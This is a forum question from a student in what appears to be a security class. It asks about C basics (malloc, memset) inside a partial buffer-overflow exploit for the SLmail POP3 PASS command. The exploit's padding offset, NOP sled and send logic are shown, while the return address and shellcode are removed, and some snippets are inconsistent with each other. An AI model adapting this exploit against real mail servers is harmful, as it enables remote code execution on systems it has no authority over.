title: Using SLmail 643 and understanding how I can use it
body: <p>I am taking a class and it requires me to manipulate this c code to work for my specific circumstances. I understand most of it however am having some trouble understanding what several c specific variables are being used for bellow. Note I have removed portions of the code however have kept the area in question in tact. </p>
  
  <p>Also I am not asking you to do my homework, I just need some help in understanding some areas so I can do it my self..a helpful nudge, or a violent push.</p>
  
  <pre><code>#include &lt;fcntl.h&gt;
  #include &lt;stdio.h&gt;
  #include &lt;stdlib.h&gt;
  #include &lt;sys/socket.h&gt;
  #include &lt;sys/types.h&gt;
  #include &lt;sys/wait.h&gt;
  #include &lt;errno.h&gt;
  #include &lt;netinet/in.h&gt;
  #include &lt;netdb.h&gt;
  #include &lt;string.h&gt;
  
  
  #define retadd "\x\x\x\x" */I removed the memory return*/
  #define port 110
  
  char buf[] = "Stuff will be put here"
  
  struct sockaddr_in plm,lar,target;
  
  
  
  int conn(char *ip)
  {
  int sockfd;
  plm.sin_family = AF_INET;
  plm.sin_port = htons(port);
  plm.sin_addr.s_addr = inet_addr(ip);
  bzero(&amp;(plm.sin_zero),8);
  sockfd = socket(AF_INET,SOCK_STREAM,0);
  if((connect(sockfd,(struct sockaddr *)&amp;plm,sizeof(struct sockaddr))) &lt; 0)
  {
   perror("[-] connect error!");
   exit(0);
   }
   printf("[*] Connected to: %s.\n",ip);
   return sockfd;
  }
  
  int main(int argc, char *argv[])
  
  {
  
  int xs;
  
  
  
  char out[1024];
  
  char *buffer = malloc(2958);
  
  memset(buffer, 0x00, 2958);
  
  
  
  char *off = malloc(2606);
  
  memset(off, 0x00, 2606);
  
  memset(off, 0x41, 2605);
  
  
  
  char *nop = malloc(16);
  
  memset(nop, 0x00, 8);
  
  memset(nop, 0x90, 16);
  
  
  
  strcat(buffer, off);
  
  strcat(buffer, retadd);
  
  strcat(buffer, nop);
  
  strcat(buffer, shellcode);
  
  
  
  printf("[+] SLMAIL Connection \n");
  
  xs = conn("192.168.31.29");
  
  read(xs, out, 1024);
  
  printf("[*] %s", out);
  
  write(xs,"USER username\r\n", 15);
  
  read(xs, out, 1024);
  
  printf("[*] %s", out);
  
  write(xs,"PASS ",5);
  
  write(xs,buffer,strlen(buffer));
  
  printf("insert len: %d bytes\n",strlen(insert));
  
  printf("Buffer len: %d bytes\n",strlen(buffer));
  
  write(xs,"\r\n",4);
  
  close(xs);  
  
  }
  </code></pre>
  
  <p>What is the malloc(2958) setting? Is this the total size allotment for the buffer?
  Also what is the memset variable for in c?</p>
  
  <pre><code>char *buffer = malloc(2958);
  
  memset(buffer, 0x00, 2958);
  </code></pre>
  
  <p>Under the malloc(2606) this is the byte size required to register a specific point in memory, why is it lessened by 1 bellow for the hex 'A's 2605?</p>
  
  <pre><code>char *off = malloc(2606);
  
  memset(off, 0x00, 2606);
  
  memset(off, 0x41, 2605);
  </code></pre>
  
  <p>Once again I under stand this will add 7 x90s to the buffer, but what is the significance of malloc and the 0x00 here?</p>
  
  <pre><code>char *nop = malloc(8);
  
  memset(nop, 0x00, 8);
  
  memset(nop, 0x90, 7);
  </code></pre>
  
  <p>Thank you.</p>